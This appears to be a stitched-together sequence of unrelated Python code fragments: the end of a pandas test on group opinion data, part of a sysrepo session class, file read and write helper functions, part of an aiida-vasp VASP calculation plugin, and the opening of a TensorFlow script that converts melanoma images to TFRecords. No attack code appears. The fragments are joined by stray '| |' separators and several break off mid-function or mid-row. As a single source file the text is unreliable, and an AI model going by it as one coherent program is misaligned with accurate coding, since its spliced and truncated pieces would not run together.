expected = pd.DataFrame(dt, columns = [
'Group', 'Issue', 'Person', 'Initial opinion',
'Period1 opinion', 'Period2 opinion', 'Period3 opinion',
'Period1 w1', 'Period1 w2', 'Period1 w3',
'Period2 w1', 'Period2 w2', 'Period2 w3',
'Period3 w1', 'Period3 w2', 'Period3 w3',
'Period1 a1', 'Period1 a2', 'Period1 a3',
'Period2 a1', 'Period2 a2', 'Period2 a3',
'Period3 a1', 'Period3 a2', 'Period3 a3'])
computed = bt.get_all_groups_info_in_one_dataframe(teams_log_list)
pd_testing.assert_frame_equal(expected, computed, check_dtype=False)
def test_get_all_groups_info_in_one_dataframe_with_space(self):
self.loader.team_id = 's10'
teams_log_list = [self.loader]
dt = [['s10', 'asbestos', 'pogs01', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'asbestos', 'pogs02', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'asbestos', 'pogs03', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'disaster', 'pogs01', '$1000', '1500', '$2000', '2000', '', 30, 30, 30, '', 100, 0, 0, '', 100, 0, 0, '', 0, -1, 2, '', 10, 10, 10, '', 10, 10, 10],
['s10', 'disaster', 'pogs02', '$2000', '2000', '$2200', '2000', '', 0, 100, 0, '', 30, 30, 30, '', 30, 40, 30, '', -10, 10, -10, '', -3, -1, -2, '', 1, 10, 1],
['s10', 'disaster', 'pogs03', '$3000', '$2500', '$2100', '$2000', '', 20, 20, 60, '', 30, 30, 40, '', 50, 50, 0, '', -10, 0, 0, '', 10, -10, -1, '', -10, -10, 10],
['s10', 'sports', 'pogs01', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'sports', 'pogs02', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'sports', 'pogs03', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'school', 'pogs01', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''],
['s10', 'school', 'pogs02', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', | |
# Copyright (c) 2020 6WIND S.A.
# SPDX-License-Identifier: BSD-3-Clause
import inspect
import logging
from typing import Any, Callable, Dict, Iterator, List, Optional
import libyang
from _sysrepo import ffi, lib
from .change import Change
from .errors import (
SysrepoInternalError,
SysrepoNotFoundError,
SysrepoUnsupportedError,
check_call,
)
from .subscription import Subscription
from .util import c2str, str2c
from .value import Value
LOG = logging.getLogger(__name__)
# ------------------------------------------------------------------------------
class SysrepoSession:
"""
Python representation of `sr_session_ctx_t *`.
.. attention::
Do not instantiate this class manually, use `SysrepoConnection.start_session`.
"""
__slots__ = ("cdata", "is_implicit", "subscriptions")
# begin: general
def __init__(self, cdata, implicit: bool = False):
"""
:arg "sr_session_ctx_t *" cdata:
The session pointer allocated by :func:`SysrepoConnection.start_session`.
:arg implicit:
Used to identify sessions provided in subscription callbacks.
"""
self.cdata = cdata
self.is_implicit = implicit
self.subscriptions = []
def __enter__(self) -> "SysrepoSession":
return self
def __exit__(self, *args, **kwargs) -> None:
self.stop()
def stop(self) -> None:
"""
Stop current session and releases resources tied to the session.
Also releases any locks held and frees subscriptions created (only) by this
session.
"""
if self.cdata is None:
return # already stopped
if self.is_implicit:
raise SysrepoUnsupportedError("implicit sessions cannot be stopped")
while self.subscriptions:
sub = self.subscriptions.pop()
try:
sub.unsubscribe()
except Exception:
LOG.exception("Subscription.unsubscribe failed")
try:
check_call(lib.sr_session_stop, self.cdata)
finally:
self.cdata = None
def get_datastore(self) -> str:
"""
Get the datastore a session operates on.
:returns str:
The datastore name.
"""
return datastore_name(lib.sr_session_get_ds(self.cdata))
def switch_datastore(self, datastore: str) -> None:
"""
Change datastore which the session operates on. All subsequent calls will be
issued on the chosen datastore. Previous calls are not affected (previous
subscriptions, for instance).
:arg str datastore:
New datastore that will be operated on. Can be one of `running`,
`startup`, `operational` or `candidate`.
"""
if self.is_implicit:
raise SysrepoUnsupportedError(
"cannot change datastore of implicit sessions"
)
ds = datastore_value(datastore)
check_call(lib.sr_session_switch_ds, self.cdata, ds)
def set_error(self, xpath: Optional[str], message: str):
"""
Set detailed error information into provided session. Used to notify the client
library about errors that occurred in the application code. Does not print the
message.
Intended for change, RPC/action, or operational callbacks to be used on the
provided session.
:arg str xpath:
The path where the error occured. May be `None`.
:arg str message:
The detailed error message.
"""
if not self.is_implicit:
raise SysrepoUnsupportedError("can only report errors on implicit sessions")
check_call(
lib.sr_set_error, self.cdata, str2c(xpath), str2c("%s"), str2c(message)
)
def get_ly_ctx(self) -> libyang.Context:
"""
:returns:
The libyang context object associated with this session.
"""
conn = lib.sr_session_get_connection(self.cdata)
if not conn:
raise SysrepoInternalError("sr_session_get_connection failed")
ctx = lib.sr_get_context(conn)
if not ctx:
raise SysrepoInternalError("sr_get_context failed")
return libyang.Context(cdata=ctx)
# end: general
# begin: subscription
ModuleChangeCallbackType = Callable[[str, int, List[Change], Any], None]
"""
Callback to be called when the change in the datastore occurs.
:arg event:
Type of the callback event that has occurred. Can be one of: "update", "change",
"done", "abort", "enabled".
:arg req_id:
Request ID unique for the specific module name. Connected events for one request
("change" and "done" for example) have the same request ID.
:arg changes:
List of `sysrepo.Change` objects representing what parts of the configuration
have changed.
:arg private_data:
Private context opaque to sysrepo used when subscribing.
When event is one of ("update", "change"), if the callback raises an exception, the
changes will be rejected and the error will be forwarded to the client that made the
change. If the exception is a subclass of `SysrepoError`, the traceback will not be
sent to the logging system. For consistency and to avoid confusion with unexpected
errors, the callback should raise explicit `SysrepoValidationFailedError` exceptions
to reject changes.
"""
def subscribe_module_change(
self,
module: str,
xpath: Optional[str],
callback: ModuleChangeCallbackType,
*,
priority: int = 0,
no_thread: bool = False,
passive: bool = False,
done_only: bool = False,
enabled: bool = False,
private_data: Any = None,
asyncio_register: bool = False,
include_implicit_defaults: bool = True
) -> None:
"""
Subscribe for changes made in the specified module.
:arg module:
Name of the module of interest for change notifications.
:arg xpath:
Optional xpath further filtering the changes that will be handled
by this subscription.
:arg callback:
Callback to be called when the change in the datastore occurs.
:arg priority:
Specifies the order in which the callbacks (**within module**) will
be called.
:arg no_thread:
There will be no thread created for handling this subscription
meaning no event will be processed! Default to `True` if
asyncio_register is `True`.
:arg passive:
The subscriber is not the "owner" of the subscribed data tree, just
a passive watcher for changes.
:arg done_only:
The subscriber does not support verification of the changes and
wants to be notified only after the changes has been applied in the
datastore, without the possibility to deny them.
:arg enabled:
The subscriber wants to be notified about the current configuration
at the moment of subscribing.
:arg private_data:
Private context passed to the callback function, opaque to sysrepo.
:arg asyncio_register:
Add the created subscription event pipe into asyncio event loop
monitored read file descriptors. Implies `no_thread=True`.
:arg include_implicit_defaults:
Include implicit default nodes in changes.
"""
if self.is_implicit:
raise SysrepoUnsupportedError("cannot subscribe with implicit sessions")
_check_subscription_callback(callback, self.ModuleChangeCallbackType)
sub = Subscription(
callback,
private_data,
asyncio_register=asyncio_register,
include_implicit_defaults=include_implicit_defaults,
)
sub_p = ffi.new("sr_subscription_ctx_t **")
if asyncio_register:
no_thread = True # we manage our own event loop
flags = _subscribe_flags(
no_thread=no_thread, passive=passive, done_only=done_only, enabled=enabled
)
check_call(
lib.sr_module_change_subscribe,
self.cdata,
str2c(module),
str2c(xpath),
lib.srpy_module_change_cb,
sub.handle,
priority,
flags,
sub_p,
)
sub.init(sub_p[0])
self.subscriptions.append(sub)
OperDataCallbackType = Callable[[str, Any], Optional[Dict]]
"""
Callback to be called when the operational data are requested.
:arg xpath:
The XPath requested by a client. Can be None if the client requested for all the
module operational data.
:arg private_data:
Private context opaque to sysrepo used when subscribing.
The callback is expected to return a python dictionary containing the operational
data. The dictionary should be in the libyang "dict" format. It will be parsed to a
libyang lyd_node before returning to sysrepo using `libyang.Module.parse_data_dict`.
If the callback returns `None`, nothing is returned to sysrepo. If the callback
raises an exception, the error message is forwarded to the client that requested for
data. If the exception is a subclass of `SysrepoError`, no traceback is sent to the
logging system.
"""
def subscribe_oper_data_request(
self,
module: str,
xpath: str,
callback: OperDataCallbackType,
*,
no_thread: bool = False,
private_data: Any = None,
asyncio_register: bool = False,
strict: bool = False
) -> None:
"""
Register for providing operational data at the given xpath.
:arg module:
Name of the affected module.
:arg xpath:
Xpath identifying the subtree which the provider is able to provide.
Predicates can be used to provide only specific instances of nodes.
:arg callback:
Callback to be called when the operational data for the given xpath are
requested.
:arg no_thread:
There will be no thread created for handling this subscription meaning no
event will be processed! Default to `True` if asyncio_register is `True`.
:arg private_data:
Private context passed to the callback function, opaque to sysrepo.
:arg asyncio_register:
Add the created subscription event pipe into asyncio event loop monitored
read file descriptors. Implies `no_thread=True`.
:arg strict:
Reject the whole data returned by callback if it contains elements without
schema definition.
"""
if self.is_implicit:
raise SysrepoUnsupportedError("cannot subscribe with implicit sessions")
_check_subscription_callback(callback, self.OperDataCallbackType)
sub = Subscription(
callback, private_data, asyncio_register=asyncio_register, strict=strict
)
sub_p = ffi.new("sr_subscription_ctx_t **")
if asyncio_register:
no_thread = True # we manage our own event loop
flags = _subscribe_flags(no_thread=no_thread)
check_call(
lib.sr_oper_get_items_subscribe,
self.cdata,
str2c(module),
str2c(xpath),
lib.srpy_oper_data_cb,
sub.handle,
flags,
sub_p,
)
sub.init(sub_p[0])
self.subscriptions.append(sub)
RpcCallbackType = Callable[[str, Dict, str, Any], Optional[Dict]]
"""
Callback to be called when the RPC/action is invoked.
:arg xpath:
The full data path to the invoked RPC/action. When it is an RPC, the form is
`/prefix:rpc-name`. When it is an action, it is the full data path with all
parent nodes: `/prefix:container/list[key="val"]/action-name`.
:arg input_params:
The input arguments in a python dictionary. The contents are limited to the
children of the "input" node. For example, with a YANG rpc defined like this::
rpc rpc-name {
input {
leaf param1 {
type uint32;
}
leaf | |
exists. If the file does not exist,
creates a new file for writing.
w+ - Opens a file for both writing and reading. Overwrites the
existing file if the file exists. If the file does not exist,
creates a new file for reading and writing.
wb+ - Opens a file for both writing and reading in binary format.
Overwrites the existing file if the file exists. If the file
does not exist, creates a new file for reading and writing.
a - Opens a file for appending. The file pointer is at the end of
the file if the file exists. That is, the file is in the append
mode. If the file does not exist, it creates a new file
for writing.
ab - Opens a file for appending in binary format. The file pointer
is at the end of the file if the file exists. That is, the file
is in the append mode. If the file does not exist, it creates a
new file for writing.
a+ - Opens a file for both appending and reading. The file pointer
is at the end of the file if the file exists. The file opens in
the append mode. If the file does not exist, it creates a new
file for reading and writing.
ab+ - Opens a file for both appending and reading in binary format.
The file pointer is at the end of the file if the file exists.
The file opens in the append mode. If the file does not exist,
it creates a new file for reading and writing.
:Return:
fd - file descriptor of the new file opened
"""
try:
fd = open(newfile, mode)
print_info("file {} opened successfully with mode {}".format(newfile,
mode))
except IOError as e:
print_error("found io exception {} while opening file {} in mode {}".
format(str(e), newfile, mode))
return None
except Exception as e:
print_error("found exception {} while opening file {} in mode {}".
format(str(e), newfile, mode))
return None
return fd
def close(fd):
"""
Close the file. A closed file cannot be read or written any more.
:Arguments:
fd - file descriptor got from open_file
:Return:
True/False - based on the success/failure of the operation
"""
try:
name = fd.name
status = fd.close()
print_info("file {} closed successfully".format(name))
except ValueError:
print_warning("file is already closed...")
status = True
except Exception as e:
print_error("found exception {} while closing {}".format(str(e), fd))
status = False
return status
def read(fd, **kwargs):
"""
Reads at most size bytes from the file (less if the read hits EOF before
obtaining size bytes).
:Arguments:
fd - file descriptor got from open_file
:Optional:
size - number of bytes to be read
:Return:
the string read from the file, None if not able to read
"""
try:
readsize = fd.read(**kwargs)
print_info("read {} bytes from file {}".format(readsize, fd.name))
except ValueError:
print_error("file is already closed...")
readsize = 0
except Exception as e:
print_error("found exception {} while reading {}".format(str(e), fd))
readsize = 0
return readsize
def readline(fd, **kwargs):
"""
Reads one entire line from the file. A trailing newline character is kept
in the string.
:Arguments:
fd - file descriptor got from open_file
:Return:
the line read
"""
try:
line = fd.readline(**kwargs)
print_info("read a line from file "+fd.name)
except ValueError:
print_error("file is already closed...")
line = False
except Exception as e:
print_error("found exception {} while reading line in {}".
format(str(e), fd))
line = False
return line
def readlines(fd, **kwargs):
"""
Reads until EOF using readline() and return a list containing the lines.
If the optional sizehint argument is present, instead of reading up to EOF,
whole lines totalling approximately sizehint bytes (possibly after rounding
up to an internal buffer size) are read.
:Arguments:
fd - file descriptor got from open_file
:Return:
list of lines from the file
"""
try:
lines = fd.readlines(**kwargs)
print_info("read all lines from file "+fd.name)
except ValueError:
print_error("file is already closed...")
lines = False
except Exception as e:
print_error("found exception {} while reading lines in {}".
format(str(e), fd))
lines = False
return lines
def truncate(fd, **kwargs):
"""
Truncates the file's size. If the optional size argument is present, the
file is truncated to (at most) that size.
:Arguments:
fd - file descriptor got from open_file
:Optional:
size - size up to which to truncate
:Return:
True/False - based on the success/failure of the operation
"""
status = False
try:
fd.truncate(**kwargs)
print_info("truncated the file "+fd.name)
status = True
except ValueError:
print_error("file is already closed...")
except Exception as e:
print_error("found exception {} while truncating {}".
format(str(e), fd))
return status
def write(fd, string):
"""
Writes a string to the file.
:Arguments:
fd - file descriptor got from open_file
str - string to write
:Return:
True/False - based on the success/failure of the operation
"""
status = False
try:
fd.write(string)
print_info("written to file "+fd.name)
status = True
except ValueError:
print_error("file is already closed...")
except Exception as e:
print_error("found exception {} while writing {}".format(str(e), fd))
return status
def writelines(fd, seq):
"""
Writes a sequence of strings to the file. The sequence can be any
iterable object producing strings, typically a list of strings.
:Arguments:
fd - file descriptor got from open_file
sequence - sequence of lines to be written
:Return:
True/False - based on the success/failure of the operation
"""
status = False
try:
fd.writelines(seq)
print_info("written seq to the file "+fd.name)
status = True
except ValueError:
print_error("file is already closed...")
except Exception as e:
print_error("found exception {} while writing {}".format(str(e), fd))
return status
def get_current_position(fd):
"""
Returns the file's current position
:Arguments:
fd - file descriptor got from open_file
:Return:
current position of the file, -1 if error occurred
"""
curpos = -1
try:
curpos = fd.tell()
except ValueError:
print_error("file is already closed...")
except Exception as e:
print_error("found exception {} while getting current position on {}".
format(str(e), fd))
return curpos
def move_to_position(fd, offset, **kwargs):
"""
Sets the file's current position
:Arguments:
fd - file descriptor got from open_file
offset - number of bytes to be moved
:Optional:
whence -
0 - move offset positions from beginning of file
1 - move offset positions from current position of file
2 - move offset positions from end of file
:Return:
current position after movement
"""
curpos = -1
try:
if "whence" in kwargs:
curpos = fd.seek(offset, kwargs["whence"])
else:
curpos = fd.seek(offset)
except ValueError:
print_error("file is already closed...")
except Exception as e:
print_error("found exception {} while moving to position on {}".
format(str(e), fd))
return curpos
def move_to_text(fd, pattern, n=1):
"""
seek to a text in the file
:Arguments:
pattern - the regular expression pattern to search for in the file
n - seek to the nth occurrence from beginning, default first occurrence
use negative indices for from the end
:Return:
True/False - based success or failure of seeking
"""
pos = -1
fd.seek(0, 0)
data = fd.read()
try:
data_pos = string_Utils.seek_next(pattern, data)[n]
pos = fd.seek(data_pos)
print_info("moving to {}th pattern {} in file {} successful".
format(n, pattern, fd.name))
except IndexError:
print_error("pattern {} not found in {}".format(pattern, fd))
except ValueError:
print_error("file is already closed...")
except Exception as e:
print_error("exception {} occurred while seeking pattern {} in {}".
format(str(e), pattern, fd))
return pos
def get_lines_between(fd, startidx, endidx):
"""
Get lines between args[0] to args[1]
:Arguments:
startidx - line index from which to send
endidx - line index till to be send
:Return:
lines between startidx and endidx
"""
lines = []
try:
fd.seek(0, 0)
all_lines = fd.readlines()
lines = all_lines[startidx:endidx]
except IndexError:
print_error("file has only {} lines, but expecting {} to {} lines".
format(len(all_lines), startidx, endidx))
except ValueError:
print_error("file is already closed...")
except Exception as e:
print_error("found exception {} while moving to position on {}".
format(str(e), fd))
return lines
def flush(fd):
"""
Flush the internal buffer, like stdio's fflush. This may be a no-op on some
file-like objects.
:Arguments:
fd - file descriptor got from open_file
:Return:
True/False - based on the success/failure of the operation
| |
"""
VASP calculation.
-----------------
The calculation class that prepares a specific VASP calculation.
"""
#encoding: utf-8
# pylint: disable=abstract-method
# explanation: pylint wrongly complains about (aiida) Node not implementing query
from aiida.plugins import DataFactory
from aiida_vasp.parsers.file_parsers.incar import IncarParser
from aiida_vasp.parsers.file_parsers.potcar import MultiPotcarIo
from aiida_vasp.parsers.file_parsers.poscar import PoscarParser
from aiida_vasp.parsers.file_parsers.kpoints import KpointsParser
from aiida_vasp.utils.aiida_utils import get_data_node, get_data_class
from aiida_vasp.calcs.base import VaspCalcBase
from aiida_vasp.utils.inheritance import update_docstring
PARAMETER_CLS = DataFactory('dict')
SINGLEFILE_CLS = DataFactory('singlefile')
_IMMIGRANT_EXTRA_KWARGS = """
vasp.vasp specific kwargs:
:param use_chgcar: bool, if True, read the CHGCAR file (has to exist) and convert it to an input node.
:param use_wavecar: bool, if True, read the WAVECAR file (has to exist) and convert it to an input node.
"""
@update_docstring('immigrant', _IMMIGRANT_EXTRA_KWARGS, append=True)
class VaspCalculation(VaspCalcBase):
"""
General-purpose VASP calculation.
---------------------------------
By default retrieves only the 'OUTCAR', 'vasprun.xml', 'EIGENVAL', 'DOSCAR'
and Wannier90 input / output files. These files are deleted after parsing.
Additional retrieve files can be specified via the
``settings['ADDITIONAL_RETRIEVE_TEMPORARY_LIST']`` input. In addition, if you want to keep
any files after parsing, put them in ``settings['ADDITIONAL_RETRIEVE_LIST']`` which is empty
by default.
Floating point precision for writing POSCAR files can be adjusted using
``settings['poscar_precision']``, default: 10
The following assumes you are familiar with the AiiDA data structures and
how to set up and run an AiiDA calculation in general.
Example usage::
from aiida.orm import CalculationFactory, DataFactory
from aiida.work import submit
proc = CalculationFactory('vasp.vasp').process()
inputs = proc.get_inputs_template()
inputs.parameter = <Dict with INCAR params>
inputs.structure = <StructureData>
inputs.kpoints = <KpointsData>
inputs.settings = <Dict with parser settings etc.>
inputs.potential = DataFactory('vasp.potcar').get_potcars_from_structure(structure, ...)
inputs.code = <Code representing vasp on your cluster>
submit(proc, **inputs)
Which is very similar to the workchain example.
"""
_ALWAYS_RETRIEVE_LIST = ['CONTCAR', 'OUTCAR', 'vasprun.xml', 'EIGENVAL', 'DOSCAR', 'wannier90*']
_query_type_string = 'vasp.vasp'
_plugin_type_string = 'vasp.vasp'
@classmethod
def define(cls, spec):
super(VaspCalculation, cls).define(spec)
# Define the inputs.
# options is passed automatically.
spec.input('parameters', valid_type=get_data_class('dict'), help='The VASP input parameters (INCAR).')
spec.input('structure', valid_type=(get_data_class('structure'), get_data_class('cif')), help='The input structure (POSCAR).')
# Need namespace on this as it should also accept keys that are of `kind`. These are unknown
# until execution.
spec.input_namespace('potential', valid_type=get_data_class('vasp.potcar'), help='The potentials (POTCAR).', dynamic=True)
spec.input('kpoints', valid_type=get_data_class('array.kpoints'), help='The kpoints to use (KPOINTS).')
spec.input('charge_density', valid_type=get_data_class('vasp.chargedensity'), required=False, help='The charge density. (CHGCAR)')
spec.input('wavefunctions',
valid_type=get_data_class('vasp.wavefun'),
required=False,
help='The wave function coefficients. (WAVECAR)')
spec.input('settings', valid_type=get_data_class('dict'), required=False, help='Additional parameters not related to VASP itself.')
spec.input('metadata.options.parser_name', default='vasp.vasp')
# Define outputs.
# remote_folder and retrieved are passed automatically
spec.output('misc',
valid_type=get_data_class('dict'),
help='The output parameters containing smaller quantities that do not depend on system size.')
spec.output('structure', valid_type=get_data_class('structure'), required=False, help='The output structure.')
spec.output('kpoints', valid_type=get_data_class('array.kpoints'), required=False, help='The output k-points.')
spec.output('trajectory', valid_type=get_data_class('array.trajectory'), required=False, help='The output trajectory data.')
spec.output('chgcar', valid_type=get_data_class('vasp.chargedensity'), required=False, help='The output charge density.')
spec.output('wavecar',
valid_type=get_data_class('vasp.wavefun'),
required=False,
help='The output file containing the plane wave coefficients.')
spec.output('bands', valid_type=get_data_class('array.bands'), required=False, help='The output band structure.')
spec.output('forces', valid_type=get_data_class('array'), required=False, help='The output forces.')
spec.output('stress', valid_type=get_data_class('array'), required=False, help='The output stress.')
spec.output('dos', valid_type=get_data_class('array'), required=False, help='The output dos.')
spec.output('occupancies', valid_type=get_data_class('array'), required=False, help='The output band occupancies.')
spec.output('energies', valid_type=get_data_class('array'), required=False, help='The output total energies.')
spec.output('projectors', valid_type=get_data_class('array'), required=False, help='The output projectors of decomposition.')
spec.output('dielectrics', valid_type=get_data_class('array'), required=False, help='The output dielectric functions.')
spec.output('born_charges', valid_type=get_data_class('array'), required=False, help='The output Born effective charges.')
spec.output('hessian', valid_type=get_data_class('array'), required=False, help='The output Hessian matrix.')
spec.output('dynmat', valid_type=get_data_class('array'), required=False, help='The output dynamical matrix.')
spec.output('site_magnetization', valid_type=get_data_class('dict'), required=False, help='The output of the site magnetization')
spec.exit_code(0, 'NO_ERROR', message='the sun is shining')
spec.exit_code(350, 'ERROR_NO_RETRIEVED_FOLDER', message='the retrieved folder data node could not be accessed.')
spec.exit_code(351,
'ERROR_NO_RETRIEVED_TEMPORARY_FOLDER',
message='the retrieved_temporary folder data node could not be accessed.')
spec.exit_code(352, 'ERROR_CRITICAL_MISSING_FILE', message='a file that is marked by the parser as critical is missing.')
spec.exit_code(333,
'ERROR_VASP_DID_NOT_EXECUTE',
message='VASP did not produce any output files and did likely not execute properly.')
spec.exit_code(1001, 'ERROR_PARSING_FILE_FAILED', message='parsing a file has failed.')
spec.exit_code(1002, 'ERROR_NOT_ABLE_TO_PARSE_QUANTITY', message='the parser is not able to parse the requested quantity')
def prepare_for_submission(self, tempfolder):
"""
Add all files to the list of files to be retrieved.
Notice that we here utilize both the retrieve batch of files, which are always stored after retrieval and
the temporary retrieve list which is automatically cleared after parsing.
"""
calcinfo = super(VaspCalculation, self).prepare_for_submission(tempfolder)
# Still need the exceptions in case settings is not defined on inputs
# Check if we want to store all always retrieve files
try:
store = self.inputs.settings.get_attribute('ALWAYS_STORE', default=True)
except AttributeError:
store = True
try:
additional_retrieve_list = self.inputs.settings.get_attribute('ADDITIONAL_RETRIEVE_LIST', default=[])
except AttributeError:
additional_retrieve_list = []
try:
additional_retrieve_temp_list = self.inputs.settings.get_attribute('ADDITIONAL_RETRIEVE_TEMPORARY_LIST', \
default=[]) # pylint: disable=invalid-name
except AttributeError:
additional_retrieve_temp_list = []
if store:
calcinfo.retrieve_list = list(set(self._ALWAYS_RETRIEVE_LIST + additional_retrieve_list))
calcinfo.retrieve_temporary_list = additional_retrieve_temp_list # pylint: disable=invalid-name
else:
calcinfo.retrieve_temporary_list = list(set(self._ALWAYS_RETRIEVE_LIST + additional_retrieve_temp_list)) # pylint: disable=invalid-name
calcinfo.retrieve_list = additional_retrieve_list
try:
provenance_exclude_list = self.inputs.settings.get_attribute('PROVENANCE_EXCLUDE_LIST', default=[])
except AttributeError:
provenance_exclude_list = []
# Always include POTCAR in the exclude list (not added to the repository, regardless of store)
calcinfo.provenance_exclude_list = list(set(provenance_exclude_list + ['POTCAR']))
return calcinfo
def verify_inputs(self):
super(VaspCalculation, self).verify_inputs()
if not hasattr(self, 'elements'):
self._prestore()
def _prestore(self):
"""Set attributes prior to storing."""
super(VaspCalculation, self)._prestore()
setattr(self, 'elements', ordered_unique_list(self.inputs.structure.get_ase().get_chemical_symbols()))
@property
def _parameters(self):
"""Make sure all parameters are lowercase."""
all_parameters = self.inputs.parameters.get_dict()
try:
return {k.lower(): v for k, v in all_parameters.items()}
except KeyError:
return {}
def _need_kp(self):
"""
Return wether an input kpoints node is needed or not.
:return output:
True if input kpoints node is needed
(py:method::VaspCalculation.use_kpoints),
False otherwise
needs 'parameters' input to be set
(py:method::VaspCalculation.use_parameters)
"""
return not bool('kspacing' in self._parameters or 'kgamma' in self._parameters)
def _need_chgcar(self):
"""
Test wether an charge_densities input is needed or not.
:return output:
True if a chgcar file must be used
(py:method::NscfCalculation.use_charge_densities),
False otherwise
needs 'parameters' input to be set
(py:method::NscfCalculation.use_parameters)
"""
ichrg_d = 0 if self._need_wavecar() else 2
icharg = self._parameters.get('icharg', ichrg_d)
return bool(icharg in [1, 11])
def _check_chgcar(self, remote_folder): # pylint: disable=no-self-use
"""
Check if the CHGCAR file is present in the remote folder.
This is only a very rudimentary test, e.g. we only check the
presence of a file, not if its content is valid.
"""
return 'CHGCAR' in remote_folder.listdir()
def _check_wavecar(self, remote_folder): # pylint: disable=no-self-use
"""
Check if the WAVECAR file is present in the remote folder.
This is only a very rudimentary test, e.g. we only check the
presence of a file, not if its content is valid.
"""
return 'WAVECAR' in remote_folder.listdir()
def _need_wavecar(self):
"""
Test wether a wavefunctions input is needed or not.
:return output:
True if a wavecar file must be
used (py:method::NscfCalculation.use_wavefunctions),
False otherwise
needs 'parameters' input to be set
(py:method::NscfCalculation.use_parameters)
"""
istrt_d = 1 if self.inputs.get('wavefunctions') else 0
istart = self._parameters.get('istart', istrt_d)
return bool(istart in [1, 2, 3])
def _structure(self):
"""
Get the input structure as AiiDa StructureData.
This is required in order to support CifData as input as well.
"""
structure = self.inputs.structure
if not hasattr(structure, 'get_pymatgen'):
structure = get_data_node('structure', ase=structure.get_ase())
return structure
def write_additional(self, tempfolder, calcinfo):
"""Write CHGAR and WAVECAR files if needed."""
super(VaspCalculation, self).write_additional(tempfolder, calcinfo)
if self._need_chgcar():
# If we restart, we do not require inputs, but we should have a basic check
# that the CHGCAR file is present
if not self._is_restart():
self.write_chgcar('CHGCAR', calcinfo)
else:
remote_folder = self.inputs.restart_folder
if not self._check_chgcar(remote_folder):
raise FileNotFoundError('Could not find CHGCAR in {}'.format(remote_folder.get_remote_path()))
if self._need_wavecar():
# If we restart, we do not require inputs, but we should have a basic check
# that the WAVECAR file is present
if not self._is_restart():
self.write_wavecar('WAVECAR', calcinfo)
else:
remote_folder = self.inputs.restart_folder
if not self._check_wavecar(remote_folder):
raise FileNotFoundError('Could not find WAVECAR in {}'.format(remote_folder.get_remote_path()))
def write_incar(self, dst): # pylint: disable=unused-argument
"""
Write the INCAR.
Passes the parameters node (Dict) from to the INCAR parser for
preparation and writes to dst.
:param dst: absolute path of the file to write to
"""
incar_parser = IncarParser(data=self.inputs.parameters)
incar_parser.write(dst)
def write_poscar(self, dst): # pylint: disable=unused-argument
"""
Write the POSCAR.
Passes the structures node (StructureData) to the POSCAR parser for
preparation and writes to dst.
:param dst: absolute path of the file to write to
"""
settings = self.inputs.get('settings')
settings = settings.get_dict() if settings else {}
poscar_precision = settings.get('poscar_precision', 10)
poscar_parser = PoscarParser(data=self._structure(), precision=poscar_precision)
poscar_parser.write(dst)
def write_potcar(self, dst):
"""
Concatenates multiple POTCAR files into one in the same order as the elements appear in POSCAR.
:param dst: absolute path of the file to write to
"""
| |
<gh_stars>1-10
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
# Contributed 2017 <NAME>. eduardovalle.com/ github.com/learningtitans
# download_and_convert_flowers.py => convert_skin_lesions.py
r"""Converts Melanoma data to TFRecords of TF-Example protos.
This reads the files that make up the Melanoma data and creates three
TFRecord datasets: train, validation, and test. Each TFRecord dataset
is comprised of a set of TF-Example protocol buffers, each of which contain
a single image and label.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import glob
import math
import os
import pickle
import sys
import numpy as np
import tensorflow as tf
version_required = (3, 4, 0)
version_running = sys.version_info
if version_running<version_required and '--allow_old_python' not in sys.argv:
print('This script requires Python %s or superior, your version: %s' %
('.'.join((str(v) for v in version_required)),
'.'.join((str(v) for v in version_running )),), file=sys.stderr)
sys.exit(1)
# Seed for repeatability
_RANDOM_SEED = 0
_DELIMITER = ';'
# Command-line parsing
tf.app.flags.DEFINE_string(
'master', '', 'The address of the TensorFlow master to use.')
tf.app.flags.DEFINE_string(
'train', None,
'File with the metadata for the train split. '
'At least one of --train or --test must be present.')
tf.app.flags.DEFINE_string(
'test', None,
'File with the metadata for the test split. '
'At least one of --train or --test must be present.')
tf.app.flags.DEFINE_string(
'images_dir', None,
'Directory with all images.')
tf.app.flags.DEFINE_string(
'masks_dir', None,
'Directory with all masks. If inform, implies that a skin_lesions_seg dataset '
'should be created.')
tf.app.flags.DEFINE_string(
'output_dir', None,
'Directory to receive the newly created dataset.')
tf.app.flags.DEFINE_integer(
'samples_per_shard', 1024,
'The number of elements to store in each dataset shard. '
'This does not affect the models, just the file storage.')
tf.app.flags.DEFINE_bool(
'allow_old_python', False, 'The script was not tested on Python 2 and will normally require Python 3.4+, '
'but this flag allows using older versions (use it at your own risk).')
FLAGS = tf.app.flags.FLAGS
# Copied from deleted dataset_utils.py ===>
def int64_feature(values):
if not isinstance(values, (tuple, list)):
values = [values]
return tf.train.Feature(int64_list=tf.train.Int64List(value=values))
def float_feature(values):
if not isinstance(values, (tuple, list)):
values = [values]
return tf.train.Feature(float_list=tf.train.FloatList(value=values))
def bytes_feature(values):
if isinstance(values, str):
values = bytes(values, 'utf-8')
return tf.train.Feature(bytes_list=tf.train.BytesList(value=[values]))
# <===
def to_category(values, *categories, **kwargs):
default = kwargs.get('default', np.nan)
if isinstance(values, (tuple, list)):
